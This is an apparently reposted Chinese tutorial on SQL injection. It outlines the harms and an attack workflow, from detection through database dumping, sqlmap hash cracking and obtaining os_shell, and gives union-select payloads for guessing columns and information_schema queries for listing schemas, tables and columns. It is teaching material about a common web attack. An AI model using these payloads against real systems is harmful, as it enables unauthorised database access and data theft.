SQL注入
Posted 信安日记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入相关的知识,希望对你有一定的参考价值。
一.SQL注入
构建特殊的输入作为参数传入web应用程序,而这些输入大多都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是因为程序没有细致的过滤用户输入的数据,导致非法数据入侵系统
二.SQL注入危害
1. 拖库导致用户数据泄露
2. 危害WEB等应用的安全
3. 时区操作系统的控制权
4. 用户信息被非法买卖
5. 危害企业及国家安全
三.SQL注入流程
1. 判断是否由SQL注入漏洞
2. 判断操作系统 数据库和web应用类型
3. 获取数据库信息,包括管理员信息及拖库
4. 加密信息破解,sqlmap可自动破解
5. 提升权限,获取sql_shell os_shell 登录应用后台
联合查询
1. union + 构造的SQL语句
2. Union 查询前后字段必须相同
3. Information_schema.tables ***
4. Table_schema 库名
5. Table_name 表名
6. Column_name 字段名
猜测字段
‘union select 1;
‘union select 1,2;
‘union select 1,2,3;
‘union select 1,2,3.4;
......
查询数据库库名,表名
Select * from information_schema.tables; 所有库表信息
Select distinct table_schema from information_schema.tables; 查看库名(去重)
Select table_schema,table_name from information_schema.tables; 查库名,表名(看着不舒服,下面分更好)
Select table_schema,group_concat(table_name) from information_schema.tables group by table_schema; 按照库名将表分类 (查看库下面有哪些表)
查询数据库库名,表名,字段名
Select * from information_schema.columns;
Select column_name from information_schema.columns; 查看所有表所有字段(意义不大)
Select column_name from information_schema.columns where table_schema=’数据库’ and table_name=’表名’; 查看数据库下面表名的字段名
以上是关于SQL注入的主要内容,如果未能解决你的问题,请参考以下文章